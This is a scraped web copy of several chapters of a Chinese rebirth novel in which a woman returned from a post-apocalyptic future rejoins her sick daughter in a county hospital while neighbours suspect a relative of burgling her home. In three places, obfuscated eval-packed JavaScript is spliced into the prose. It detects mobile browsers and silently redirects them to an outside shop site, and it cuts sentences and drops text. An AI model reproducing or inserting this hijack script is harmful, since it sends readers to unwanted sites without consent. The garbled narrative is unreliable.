辛庄大队离县城相对比较远，哪怕是坐牛车去也要小一个钟头，更别说到县里后还得去集市逛逛，这让熟知这一趟所需时间的同车人都自觉带上了干粮……除了苏南来。 行程过半，大伙儿都默契地从随身带的包袱里拿出干粮想着先垫补几口，剩下的等回来路上再吃。 看着大家都拿出了干粮，只有苏南来仍抱着手里带去医院的东西却不见拿吃的，坐在一旁的大队长家的闺女田小溪觉得自己应该学习她爸妈平常待人接物的热心态度，没半点心疼地掰下手里的大半块饽饽，递给苏南来：“嫂子，这是我娘给我带的菜饽饽，你尝尝味道咋样！” 饽饽是晒干的芥菜馅儿的，皮薄馅大，直给苏南来馋得忍不住咽口水。 末世的土壤早就被污染，根本没办法种田，人类生存到后期完全是靠那些科学家研究出的营养液活着，苏南来已经多年没吃过正常的饭菜了，自然无法拒绝被递到面前的菜饽饽。 “谢谢！” 苏南来没过多客气，说了声谢后接过菜饽饽直接咬了一大口—— 好吃！ 所以，这位好心的姑娘是谁？ 苏南来深挖了一下记忆，又看了一眼对方具有鲜明遗传特色的长相，成功在记忆中挖出了对方的名字和身份。 田小溪，大队长田丰年和妇女主任邱丽娟的独生女。 苏南来对她有印象，她是队里唯一的高中生，也是公社小学的老师。平时不常回大队，但每次回来都会帮队里的扫盲班上课，是个和她父母一样正直又善良的小姑娘。 老田家的长辈和宋有牛的关系一直不错，哪怕如今两头的老人都已经去世，他们这个大家庭也分家了，但以田丰年、邱丽娟两口子为代表的老田家，和只剩下宋望北、苏南来一家三口的老宋家关系也仍保持友好。 田小溪主动跟自己搭话，应该也是受邱丽娟的提点，苏南来自然得承人家的情，笑着夸道： “要说这贴饽饽的手艺，邱婶可是咱村数一数二的！之前我家圆圆去你家蹭过一回饭，那饭好吃得她都不愿意回来了！我当时还不服气呢，结果今天一尝，我不光是服气，简直想现在就带我家圆圆去你家蹭饭呢！” “那就等圆圆出院，嫂子你到时候直接带着孩子来我家就行，到时候咱们还能一块包饺子吃！” 田小溪虽年轻但也是个敞亮人，听着苏南来话里话外都透着对自家的亲近之意，自然也对她生出不少好感。 真是个热情善良的好姑娘。 苏南来好久没和人这样正常交流过了，只觉得随着和田小溪的对话，她身上属于末世的气息在渐渐隐藏，对于当下这个曾经活过一次的时代更多了几分脚踏实地的真实感，并且也有一种尘封记忆在慢慢解封回笼的清晰感。 在说定了等圆圆出院就去她家做客吃饭的事情后，苏南来不知想到了什么，突然说道：“说起来，你这年后就要结婚了，嫂子也没什么可送的，正好家里还收着一块红布料，大小肯定不够做衣裳的，但那是难得纯红色的布料，颜色可正了，正好够你做一对新枕套的。” “哎呀嫂子你不用送东西，我结婚陪的嫁妆我爸妈都给置办齐了……” “你这话说的，结婚是人生大事，嫂子哪儿能什么都不送呢！” 苏南来没理会对方还想推辞的话，拉着田小溪低声说道：“嫂子想送你的那块布料是当年你望北哥在部队领导那得来的奖励，也是我结婚时做喜服没用完的料子……这你可不许嫌弃啊！虽说是好几年前的布料了，但那颜色不光特别正，穿上身后太阳光一打，还能看出来隐隐的丝线刺绣，可好看了！” 田小溪去年就订好了婚事，对象家在公社，听说是个不错的小伙子。 苏南来对田小溪的婚事是真一点印象都没有，之所以知道她过完年就要结婚这事还是刚等刘叔赶牛车过来时，听旁边几个大嗓门的婶子说的。 作为队里的领导干部，田丰年和邱丽娟一直对她非常关照，明里暗里没少帮她挡住村里那些乱七八糟的人和事，他们俩的独生女要结婚，苏南来自然不能不表示。只是送礼送得太大容易招惹是非，送一块刚好够做对枕套的红布就差不多。 的确，对于一年才只能攒下几张布票的农村人而言，正红色的布料相当不好买，哪怕不够做衣服只够一对枕套，也足够令人惊喜。 更别说，这布料还是宋望北所在部队的领导给的奖励，简直是荣誉的象征啊！ 可，怎么好意思白得人家那么好还是作为奖励的布料给自己做枕套呢。 田小溪心里止不住好奇那料子得有多好看，但更多的还是不好意思却又不知道该怎么拒绝苏南来的好意。 见对方有所心动，苏南来又添了一把火：“小溪你也知道，你望北哥常见不在家，我又不是咱大队土生土长的本地人，要不是有你们全家对我们娘俩的照顾，我怕是早就被老宋家的人给磋磨……哎呀，大过年的，不说烦心事！总之，这布料你一定得收！” 说着，苏南来没给田小溪继续拒绝的机会，故意扬声道：“小溪，你这年后也该嫁人了，嫂子也没啥可送的，想来想去，家里还收着一块红布料，正好够你做一对新枕套的，这就当是嫂子送你陪嫁妆的了！” 这话一说出来，车上的大伙儿听见了倒也没觉得有啥问题，毕竟苏南来两口子和田丰年一家的关系，是远在宋望北的养父宋有牛没去世，田丰年也还没回来当大队长就一直来往走动的，这些年也一直没断了联系。如今老田家唯一的闺女要结婚嫁人，苏南来送她块布料当陪嫁也正常。 想明白这层关系，大伙儿也跟着起哄说着喜庆话，再说上几句不荤不素的话，气氛一下子就热闹了起来，也叫田小溪羞得不敢抬头。 大伙儿的起哄，和苏南来真诚的祝福与礼物，让田小溪觉得又惊喜又感激又甜蜜，不禁想念起了过完年就要成为自己丈夫的对象。 只是她到底还是没出门子的黄花闺女，对于苏南来说要送自己布料当嫁妆这样直白的说辞也是有些害羞，只低着头又递了块饽饽过去，轻声说了句“谢谢嫂子，等回去我就跟我爸妈好好说说嫂子对我的心意”后就自顾自脸红了起来。 见田小溪实在害羞，苏南来也就没再开口臊她，接过饽饽大口吃起来的同时，还不忘竖着耳朵继续听牛车上其他人的聊天。 山不过来她就过去。 车上的人跟她没话聊，那她就听她们聊。 说话总是要喊名字的，苏南来正好能借此机会认认人，免得以后有事不知道该找谁，或是不记得找的人叫什么名字长什么样。 …… 一个小时左右的路程就足够苏南来在将车上同行的人认识一遍，并且还在明目张胆的偷听中解到了不少这时候队里发生的事情，以及接下来要发生的事和要准备的东西—— 再过不到一周就是阳历年，队里就该准备分红、分粮、分肉了，而队里的社员们也能不用再去上工，可以踏踏实实准备过年需要的东西，暖暖和和在家里猫冬过年了。 不过由于现在大伙儿都还一起吃着大锅饭，大部分粮食估计分不到个人手上，会直接送去大食堂的后厨，分到手里的就是小部分的粮食和红薯、大豆之类的，还有各家自留地种的菜。 分到个人手上的小部分粮食也一样得按人六劳四分，而交到食堂那里的粮食，则是根据队里所有社员的平均工分算出来的。 在交完这部分工分数的粮食后，还有工分的社员就还能再分到额外的粮食，没用工分的社员就分不到，甚至还有一部分社员是连给食堂粮食的工分都不够，得由大队先垫付的“透支户”，这类人等到年底分粮、分红时，就得先扣掉之前透支的。 “现在食堂的饭是越来越稀，我倒是宁可把粮食分到咱自己手上，这样也能给家里的劳动力多吃上几口，省得总是赶去食堂那里挣来抢去！” 说话这人是队里的范婶子，她家一共有五个劳动力，她丈夫连着四个儿子个个都是人高马大，是干农活的好把式，自然是不愿意和总爱偷懒的人一起吃食堂。 挣得工分都不一样多，凭啥吃的就能一样多？ 范婶子觉得这样吃亏，总是想按劳分配。 队里有这样想法的人不在少数，但政策摆在那里，大伙儿也就私下里发发牢骚，不敢真的去找大队长提意见。 苏南来对此深表认同，她也不喜欢大锅饭。 要不是在饥荒期间也坚持继续吃大锅饭的话，老宋家的人也不会有借口说自己看孩子没空来亲自打饭而堂而皇之占据她口粮的机会。 大锅饭的初衷必然是为了能让所有人都平均平等地吃饱饭，可被错估的人心，让本该吃饱的勤快人吃不饱饭，让本该没饭吃的人能饿不死还能继续偷懒。 苏南来不知道造成这样结果究竟是谁的错，但不管大伙儿心里咋样，这大锅饭也得一直办到没米下锅为止。 不过比起这个让人不太愉快的话题，范婶子在之后又提起了年底要把队里剩下的三头猪分了的事，这就让人很愉快了。 苏南来真的已经很久很久没吃过肉了…… 在末世那样恶劣的环境下，土壤破坏到粮食蔬菜都种不出来，就更别说早就变异的动物了，至于后来研究出来那营养液也只能管饱，味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这是田丰年之前交代好的，刘叔也乐意给苏南来这个军属卖个好，车上其他人也没觉得这是区别待遇，就像老刘头说得那样，她们下车的地方离集市近，走几步就到，但离县医院却远得很，步行走过去至少得二十分钟，自然不能让苏南来扛着那么多东西自己走过去。 十分钟后。 牛车即将抵达县医院的门口时，刘叔开口问道：“望北家的，你这得在县城待几天啊？你给叔来个准信，等出院了我好过来接你回大队！” 苏南来没推辞对方的好意，认真想了想，道：“大夫说我家圆圆得住五天院，昨天就算一天，等大后天就能出院了，到时候就辛苦刘叔过来接我们娘俩回大队了。” “这有啥可辛苦的，都是一个大队的！”话音刚落，刘叔就将牛车稳稳停在了医院门口，又对苏南来道，“望北家的你赶紧进去吧。等大后天我就在你下车这地方等你们娘俩。” “成，那就谢谢您了。” 目送刘叔赶着牛车远去后，苏南来拎着包袱进了医院。 …… 对于县医院，苏南来几乎没什么印象，连病房在哪里都不知道，有心想拦个护士问一下具体的病房，但奈何这年头的医院对登记信息并不完善，护士只知道有几间病房住的都是小孩，却记不住孩子们的名字，差点还对苏南来的身份产生怀疑，担心她是人贩子，最后还是苏南表明了自己军属的身份才算勉强过关。 “行吧，既然你是军属，我就破例带你去几个病房找找。”小护士见苏南来拎着这么多东西挺费劲的样子，索性好人做到底，帮她拎起了布兜，带着她朝病房走去。 知道苏南来这趟过来是为了陪床，小护士也就多嘱咐了几句：“食堂在医院后面院里的平房，早饭是六点到八点，午饭是十一点到一点，晚饭是五点到七点，去晚了可就没有饭了……哦还有，打饭时候别忘了带粮票啊。” 粮票？ 苏南来扒拉了一下自己压箱底的记忆，回忆起了自己所处年代的最大特点—— 所有物品不是有钱就能买到，要想买，得有票！ 对此，苏南来第一想到的是—— 怪不得刚刚自己说要送布料当贺礼时，田小溪会显得有些受宠若惊，看来是因为布票也很稀少。 在意识到票证很珍贵后，苏南来就忍不住庆幸自己把从赵金花兜里掏出来的东西都拿过来了，里面肯定有票证，就是不知道有多少，够不够去国营饭店给闺女买大肉包子的？！ 但还没等她得到答案，苏南来的注意力就先被不远处病房里传出来的阵阵哭声给吸引了过去…… 怎么好像…… 是圆圆的声音？！ 5. 第 5 章 第5章 苏南来没有一听到孩子哭声就乱了阵脚，而是认真分辨着那声嘶力竭的哭声中所掺杂的其他声音：“护士同志，我好像听见我闺女说话的声……欸，护士同志？” 她正想和护士说能不能先去传来哭声的病房看一眼，却不想旁边这位看着年纪不大的小护士早就先她一步冲到了病房门口，颇具威严地叉着腰，对病房里的人喊道：“吵什么吵！说了多少次，在病房不管是大人还是小孩都要保持安静，不要影响到其他患者！” 这年头，大夫护士说话是相当管用的，更别说病房里还都是被护士扎过针的小朋友——这一嗓门下去，刚刚还哭得正来劲的小男孩下意识闭上了嘴，生怕对方会突然掏出个针头给他扎一针似的，吓得直打嗝儿。 小护士没注意到病房里孩子们的噤声，只唬着一张脸对一旁这孩子的家长说道：“这位男同志，你家孩子哭得这么厉害你咋不管管呢？这病房不是就你家一个孩子住，你们这闹哄哄的，让病房里的其他孩子怎么休息啊！还有，住在这病房里的孩子都是闹肺炎的，本来就咳嗽，你还让他这么哭，这病还怎么好啊。” 被小护士指责的这位男家属穿着一身中山装，胳膊底下还夹着公文包的样子，的确不像是来看孩子的，更像是个刚开完会的小领导。 看上去挺风光的人被小护士这一顿指责，脸就有些挂不住，但又碍于身份不好和个小护士计较，只能带着气儿地揪起还躺在地上的儿子，低声斥责道：“还嫌不够丢人现眼的？你不知道你爹我有多忙吗？今天过来是你妈请不下来假非让我过来替她看会儿的，不是过来替你挨数落的！你现在就给我规规矩矩躺着，躺到你妈晚上过来给你送饭！” 说完，他看也没看小护士一眼，也没管站起来的儿子，从衣兜里掏出烟，像是在故意挑战病房内不许抽烟的规定一般，没点燃只是叼在嘴里，哼了一声地走了出去。 对此，小护士没置气，这样的家属，或者说是这样当爹的男同志她看得多了，只要不在病房里逞威风，他就是爬房顶上抽烟都跟自己没关系。 前提是他那五短身材能爬上去。 至于躺在床上被吓唬得不敢再嚎的小男孩，小护士也没计较他刚刚蛮横哭闹的事，安抚了几句后，正想问苏南来这病房里有没有她闺女呢，就听见旁边病床的家属说道：“圆圆妈你可算是回来了，刚不会儿我才给你家圆圆喂了半碗粥，正喝着那爷俩就吵起来了，你家圆圆好像被闹得有点不舒服，刚也不知道是喊了两声还是哭了两声的，就这样蒙着脑袋不出来了。” 病房里几个陪床的家属都认得苏南来，知道她回村里拿东西费事费力，出于好心加上她本身是军嫂，为人也挺客气挺友善的，几个家属自然得在她回家拿东西的时间里帮着看会儿孩子，给盯着输液换液的。 只是，帮忙归帮忙，大伙儿还是得先顾着自家孩子，像是刚才那一阵闹腾，几个人也都是哄着自家的孩子别被吓着，顾不上管别人，要不是看见苏南来了，几个人估计都想不起来提醒。 旁边床的壮壮妈这会儿是越想越不放心，连忙说道：“你赶紧瞅瞅孩子情况，别给闷坏了。” 苏南来从刚进屋就看到了床上被团起来的被子，确定了闺女就在那团被窝里头，只是碍于当时病房里太过嘈杂，再加上其他五个床位的家属都在屋里，对她们而言，自己只不过是离开半天回去拿东西，要是表现得太激动，难免会让人产生误会。 她必须要克制住所有情绪，并表现出自己只是离开半天去拿东西后该有的表现。 无论身处何境，发生何事，都必须喜怒不形于色。 ——这是她在末世学会的第一课。 “我家圆圆应该是睡着了，没什么大事。”面对其他几个家长的担忧，苏南来心中饶是百转千回，面上仍笑意盈盈地同几个家属说着话，“我刚在门口就听见她说话了，但在外头听不清楚，还以为她是睡醒了见我没在找我呢，谁想到一进屋先看见这一团被窝了。” “她肯定是嫌屋里太吵才这样。”苏南来边整理自己带过来的铺盖卷，边同几个人解释道，“我家圆圆从小时候就有这习惯，只要有一点动静，她就觉得吵得慌，就爱钻进被子里把脑袋蒙住再把耳朵捂住，然后捂着捂着就睡着了。” 说着，苏南来没忘了小护士：“护士同志，我得谢谢您帮我引路。我闺女这是头一回住院，没想到医院病房这么多，我这回去拿趟东西再回来就记不清楚病房在哪儿了，多亏了您忙前跑后帮我找病房，您真是位热心助人的好同志，等过两天我家孩子病好了，我一定要写封表扬信，让医院里的同志都知道，您是个对待工作认真负责，对待住院家属亲切热情的好护士！” 说着，苏南来又扭回头感谢病房里几个家属：“也得谢谢您这几位家属同志对我们家圆圆的照顾，我这回家一趟花了不少时间，多亏了您几位帮忙看孩子，真是谢谢了！” 谁不爱听好听的话。 在苏南来真诚的夸奖与表达感谢中，在场的几个人都不自觉笑了起来。 尤其是在那个像小领导的男家属行为态度的对比下，苏南来的表现可谓是十分加分，让人不免对她更多了几分好感。 小护士被夸得有些不好意思，连忙上前帮着她一起收拾陪床躺的行军床：“苏同志你真的是太客气了，这些都是我职责所在，不值得一提！你还是先去看看孩子去吧，就算是睡着了也不能总蒙着脑袋睡。” “是啊圆圆妈，你还是赶紧看看孩子吧，这要是蒙出一身汗来可别再给孩子晾着。” 在众人关切的催促声中，苏南来又说了几声谢后放下了手里的东西，坐到了病床上。 看着床上那一团小鼓包，苏南来只觉得自己从走进病房后就澎湃着、翻涌着、叫嚣着的情绪，在此刻达到了最高峰。 她深呼吸了一口，压抑住了自己想要冲上去将女儿抱在怀里好好亲一亲抱一抱的激动情绪，小心地走了过去，生怕会吓到那隆起的“小山包”里的闺女，只敢放轻所有的动作，轻轻地、轻轻将被子剥开，露出了里面已经被被窝里热气闷红了小脸蛋儿。 这是圆圆。 是她女儿。 苏南来的眼泪在此刻决堤，她背对着人群，任由眼泪肆无忌惮在脸上纵横的同时，却仍尽可能地放轻着手上的动作，小心翼翼地将熟睡的女儿拢在怀里。 在抱着怀里的“小山包”，听着她酣睡声音的这一刻，苏南来为了重生所走的这一路上经历的痛楚、悲伤以及无尽的惶恐彻底消散了，跟着一起改变的，还有她那颗终于踏实下来的，只差丈夫那一块就能彻底圆满的心。 这时，苏南来才可以说自己是真的活了过来。 望着女儿睡得红扑扑的脸蛋儿，苏南来轻轻摇晃着这个贪睡的小家伙，像是怀抱着无价之宝，哪怕知道女儿睡着听不到自己的声音，也还是轻声用温柔且坚定的声音，一遍遍重复说着：“圆圆，是妈妈，妈妈回来了……” …… 苏南来背对的姿势挡住了众人的视线，叫大家只能从她抱着孩子轻轻摇晃的动作中来分析她的行为——肯定是在怕孩子睡不安稳，抱着哄她睡觉呢。 这姿势，当妈的都懂！ 一个病房里住着，又都是差不多岁数的孩子和家长，互相都能理解也都会力所能及地帮忙照顾一二，见苏南来哄孩子睡觉，其他几个家属就都下意识放轻了动作，准备哄自家孩子睡会儿觉，好让自己跟着轻松一会儿。 病房里一下子就变得静悄悄。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179336|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一片静谧中，苏南来感受着怀里闺女的呼吸起伏，只觉得直到这一刻，她才算得到了真正的重生，就像是晚归的倦鸟终于赶回了巢穴那样，好像一切都没变过，是全所未有的踏实。 苏南来抱着宋圆圆轻轻哄着，任由睡意拢上心头而无需再像末世时那样有任何防备、紧张地，渐渐合拢上了双眼。 …… 苏南来于末世中紧绷了数年的神经，在这一刻得到了自由的释放，她几乎没怎么挣扎就这样抱着闺女陷入了熟睡中。 就在她酣然入睡中，田小溪等人则已经完成了在集市上为过年而准备的采购任务，如来时那样，坐着牛车回到了生产大队…… “娘！家里有吃的吗？赶紧给我垫补一口，我都快饿昏头了！” 拎着在集上买回来的东西匆忙赶回家后，田小溪第一时间就是喊娘，喊饿，喊要吃饭。 “你饿死鬼投身啊！”正在厨房忙活的邱丽娟被这一嗓门给喊了出来，拿着锅铲挥舞道，“出发之前我不是给你装了好几个饽饽，你怎么还闹饿啊，不会先把饽饽都吃了。” 田小溪连忙躲过来自亲妈的锅铲袭击：“我当时不觉得特别饿，就把那几个饽饽和南来姐分着吃了，谁想到逛个集市那么累，回来道上我就饿了，这会儿更是饿得能吃下一头牛！” 南来姐？ 啊，望北他媳妇！ 邱丽娟不是不知道苏南来的名字，只是队里喊人不是直呼其名，就是谁谁家的，或是谁谁媳妇，或是谁谁妈。苏南来平时和队里人接触少，大伙儿跟她关系没处到直呼其名的程度，就大多都喊她“望北家的”。 如今乍一听闺女喊她名字，邱丽娟还真是有些恍惚。 南来…… 她也打南边来这儿十几年了。 邱丽娟突然的恍惚并没有被田小溪在意，早就趁着她妈没注意时跑去厨房明目张胆地偷吃去了。 田小溪从锅里拿了个刚蒸好的窝头，也不嫌烫地吃着，心里十分认同苏南来对她妈厨艺的赞扬：“妈，你是咋用这么糙的棒子面做出这么好吃的窝头的？怪不得南来姐一路上都在跟我说你做饭好吃呢，这大锅饭和食堂饭真是让我少吃了那么多好吃的！” 一听这话，邱丽娟也顾不上走神了，一瞪眼珠子：“说话注意点！大锅饭是国家政策，这要不是快过年了，咱家也不开火！” 作为队里的妇女主任，邱丽娟是具有一定思想觉悟与政治敏感度的，她知道队里现在不少人都不乐意大锅饭，私下里嘀咕不想继续，但谁让政策摆在那里，乐意不乐意也不是大伙儿能说了算的，但就算是再不乐意，作为领导干部也必须得支持、响应政策，不能瞎说话。 田小溪被这么一瞪眼，连刚想说苏南来要送自己红布料的话也缩了回去，匆忙转移话题道：“我回来的时候看见村口围了不少人，我就听见崔爱红说话的声音了，她那嗓门一听就知道，跟着一块赶集的婶子们连家都没回全过去看热闹了，我要不是太饿的话也想过去瞅瞅。” 崔爱红，赵金花的大儿媳妇，在队里的名声仅次于她婆婆和她妯娌，是个路过条狗都得扒拉瞅瞅是公是母，顺便把狗嘴里叼着的骨头仍自家院里的主，也是让邱丽娟这个妇女主任最为头痛的对象之一，连田小溪这个不常在村里生活的年轻人都知道她……可想而知这是个啥样人。 “妈，你知道他们围着崔嫂子是干嘛不？”田小溪是真好奇，平时大伙儿见了崔爱红都躲着走，生怕被对方访出点什么事或是占点便宜的，今天倒是都围了上去。 “能干啥，显摆呗。” 邱丽娟不以为意道：“她这不是刚从娘家回来，她爹妈给了块红布料，说要给她家闺女做成个小坎儿，还想在上面绣花呢！” 6. 第 6 章 第6章 队里谁不知道崔爱红最心疼她小闺女，用珍贵的布票买布料给她闺女做件小坎儿也不是啥新鲜事，只是架不住对方实在爱显摆，有点啥事都爱去村口招摇。 不过这倒也不算啥大毛病，谁家有点啥不都得显摆几天过过瘾，也正常，毕竟这村里不比城里发达，有点新鲜事就能说叨好几天，尤其是对崔爱红这种娘家是城里的人来说，可能也就只有这样才能让她觉得有点乐趣。 邱丽娟向来瞧不上赵金花那一家子，但对于嫁进这家的两个儿媳妇，她倒是没太多反感抵触，更多的是对她们行为的不理解与恨铁不成钢。 像是这崔爱红，作为55年下乡的城里知青，本应该有更好的作为和发展，却硬生生让宋大柱这个除了长相啥也没有到都快要打光棍的懒货给迷惑住了。 要知道，当时崔爱红可是在吃喝不愁的农场里当知青，也不知道俩人是咋认识上的，反正在那段时间，宋大柱是隔三差五就往农场跑，一来二去的结果可不就是闹出了“人命”。 如今俩人结婚有几年了，崔爱红是“嫁鸡随鸡嫁狗随狗”，再没有半点当年刚下乡时知书达理的样子，天天张家长李家短不说，地里活也是学着老宋家那样投机取巧，靠着隔三差五就回娘家哭穷，反过来用爹妈给的补贴来养活宋大柱。 邱丽娟这些年不是没劝过没管过，可架不住崔爱红是愿打愿挨，而她娘家似乎也挺心疼这闺女的，虽然从来都没露过面，可每次崔爱红回娘家也从来没叫她空着手回来过。 只能说，旁观者清的道理谁都明白，放在自己身上却是一身糊涂账。 邱丽娟有心想要改变，却没办法真正插手别人家的事。就像是苏南来这个当媳妇的，和老宋家那和宋望北到底是打断骨头仍连着亲的复杂关系，就是她难以参与的，只能在其他地方予以帮助。 “说起来，望北家……”邱丽娟习惯性地说出了以往对苏南来的称呼，又猛地意识到这样喊人实在是磨灭了已婚女同志的独立人格，改称道，“不，是南来。” “南来她家圆圆生病正好赶上快过年，这照顾孩子是容不得半点分心，她肯定没工夫买年货，正好明天我打算供销社看咱家里还需要再买点啥的，到时候给她也买点备着。” 邱丽娟不愿意叫闺女太关注老宋家的事，却怎么也想不到在她提到“红布料”的时候，田小溪的内心就已经闪过了无数种念头。 不是田小溪想得多，而是老宋家有前科！ 只要是南来姐家里有的东西，就没有老宋家这一家男女老少不惦记的。只是每次上门当“恶人”的是赵金花，才给了老宋家其他人装无辜、卖可怜的机会。可村里人谁不知道赵金花这么做是为了养活老宋家这一家子白吃饱的。 田小溪心想，南来姐这才刚说要送块红布料给我当结婚礼物，这崔爱红就抖搂着红布说是从娘家回来要给她闺女做小坎儿，咋就这么巧呢。 越想越不对劲。 田小溪也不想随随便便怀疑崔爱红，但想到之前苏南来对自己说的话，她觉得这事还是得跟她妈说一说：“……南来姐可能是怕车上其他人听见串闲话，就只跟我一个人含糊说了几句，好像……老宋家的人又找她要钱了。” “又要钱？早八百年前就断了亲的两家人，哪来的脸又跑去要钱！要我说，南来还是抹不开脸面，就应该把话大大方方说出来，让车上的人都听见才好！” 一听这话，邱丽娟都顾不上说闺女是咋好意思用俩菜饽饽就换来人家苏南来家那么一大块好布料的事了，义愤填膺到破口大骂起了老宋家这没羞没臊的一家人。 正骂着呢，邱丽娟越骂越不对劲，猛地一拍大腿：“坏了！我说咋大半天都没见着赵金花这老货，连着老宋家这伙子人今儿都没偷懒，规规矩矩跟着到地里积肥去了呢——” “他们肯定是为了给赵金花打掩护！ “这老货现在绝对在南来家翻箱倒柜，偷钱呢！” …… 邱丽娟从来不会随便给一个人定性，但架不住赵金花在这件事情上是有过前科的。 还不止一次。 第一次是在宋望北和苏南来俩人结婚的当天。赵金花故意找茬闹事，差点没把席面都掀了，最后是当时还没去世的宋有牛直接找来村长和其他几位德高望重的宗亲，当着村里所有人的面写了断亲书，将两家原本就出五服的关系彻底断了。 第二次是在苏南来生孩子坐月子的时候。那时候宋有牛已经去世，赵金花以为自己能仗着亲妈的身份充大佬，连个鸡蛋壳子都没拿来就又想摆谱，宋望北当时倒是没对赵金花怎么样，只是在给人轰走后的第二天，宋大柱和宋三柱的腿就在一觉醒来后“莫名其妙”地折断了，以及当时已经有几岁的宋宝柱也是离奇地掉了一满口的牙。 老宋家的人当时被吓得差点尿裤子，赵金花是哭天抹泪地还想找宋望北玩儿命，可架不住宋大柱和宋三柱怕再有一回自己就得丧命，硬是给拦了下来，认了怂，这事才算了（liao)了。 一直到现在，宋大柱和宋三柱的腿赶上阴天下雨还会疼，包括被敲碎了牙的宋宝柱也是到现在都稍不注意点还会说话漏风。 这两次事之后，老宋家其他人不敢再招惹宋望北和苏南来了，只还剩下赵金花蠢蠢欲动，仍不怕死地惦记宋望北的津贴。 “头一阵子你爸还跟我说望北今年要出任务不能回来探亲。按理说赵金花不可能知道这事，毕竟离往年宋望北回家探亲的时间还早呢，她是从哪儿知道的呢……” 邱丽娟有些费解，却也更清楚赵金花之所以敢动手抢钱就是要宋望北今年不回来。 “这老货就是想趁着宋望北不在找南来要钱，最好是能给她家里搬空了，反正宋望北一年只有过年这一回探亲假，今年不回来就得等到明年了，到那时候，她抢走的东西也都吃光花光用光了，就赖呗！” 邱丽娟几乎没费力气就把赵金花的行为猜了个正着，并且越想越觉得不能坐以待毙，必须得抓她一个现行！ “走！咱们现在就去大队部！” …… 就在邱丽娟招呼着闺女打算去大队找到丈夫一起去抓赵金花一个现行的同时，已经抵达医院并且十分幸福地搂着闺女都睡了一觉的苏南来已经在一阵来自肚子的饥饿长鸣中艰难醒来了…… 苏南来也不知道自己这是睡了多久，只觉得这一觉是自己两辈子加起来都没有过的最安逸的一觉。 这样想着，她就没忍住地又打了个哈气，只觉得自己这才重生回来没有一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179337|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，就已经快忘记在末世时的经历，整个人都放松得不像样子了。 重生真好啊。 苏南来边感慨着，边小幅度地伸了个懒腰，借机歪着头环顾了一下病房里的其他人，见几个家属和孩子都还基本保持着和自己睡着前的状态后，她又看了眼窗户。 外头天色还蒙蒙有些亮，估摸着也就四五点钟的样子。 这个点，田小溪一行人肯定已经回到大队了，就是不知道有没有……嗯？苏南来低头看了眼突然哼哼了两声的闺女，见她刚就好像是有点撒呓挣，又睡过去了，苏南来忍不住皱了皱眉。 她摸摸闺女的脑门儿，心想，这都睡了小半天了，也不发烧了，怎么还不醒…… 正当苏南来准备将闺女放回床上，自己去找护士问问情况，本就负责儿童区病房的护士同志就进来了：“几位家属同志都把孩子抱好啊，该扎针输液了。” “护士同志，我家圆圆还睡着呢……”苏南来十分担心道，“她这都睡了一下午还不醒，我刚摸了摸脑门倒是不发烧，但是不是也得让医生过来看看啊？” “啊，那会儿乱糟糟的，我帮你把床铺好后见你们都睡着了就忘了说——”小护士一拍脑门，连忙解释，“孩子没事，这是药的副作用，属于正常现象，等彻底好了就没那么多觉了。” 解释完，小护士还提醒道：“还有，今天输的液会比较疼，咱们家属等会儿一定得盯住孩子别乱动，小心跑针回血。” 屋里的孩子家属都点头表示理解。 可理解是理解，真轮到圆圆时，哪怕护士手法娴熟到一点多余动作都没有，苏南来在看到闺女闭着眼睛哼哼了两声后，也仍心疼得揪得慌。 在末世多严重的伤都受过，却半点疼都舍不得让自家闺女捱。 苏南来满口哄着圆圆，听她似梦非醒一句一句喊着“妈妈”的声音，眼泪就又要落下来，恨不得替她遭这个罪。 这液是真疼。 病房里几个孩子都是眼泪汪汪的，哪怕还没轮到个儿的，也被吓得直叫唤。 壮壮妈哄不住怀里泪眼哒哒的儿子，只能想方设法转移他的注意力：“护士同志，咱们食堂今天都有啥饭菜啊？要是味儿还行的话，就不让我们那口子过来送饭了，我家壮壮不光看着壮，嘴也壮实，一点不挑食，在食堂凑活一顿也算是心疼他爸了！” 这年头，食堂的饭菜味道还是相当不错的，只是比起家里送饭，吃食堂到底不划算，又得是钱有得是票的，也就是只有一家子都是工人的壮壮妈敢说去食堂凑活这话。 “食堂今天有白菜粉条烩猪肉、醋溜土豆丝、清炒萝卜和棒渣粥，主食有二合面馒头和玉米面饽饽。要是想吃细粮的话，食堂最里头那窗口有卖打卤面条的。” “还有面条呢？” 壮壮妈高兴地说道：“那我得去护士站打个电话，让我家那口子赶紧来，他这人就爱吃打卤面！但我公公婆婆都不爱吃面食，爱吃米饭，影响得我家壮壮也只吃米饭不吃面食，家里的细粮也都换成了大米，搞得我是想给我家那口子做点面条吃都没面粉可做。” 同样爱吃面食的苏南来在听到壮壮妈和护士的对话后，这才后知后觉地感到饥饿，并且越听越觉得饿得受不了……打卤面，她来了！ 7. 第 7 章 第7章 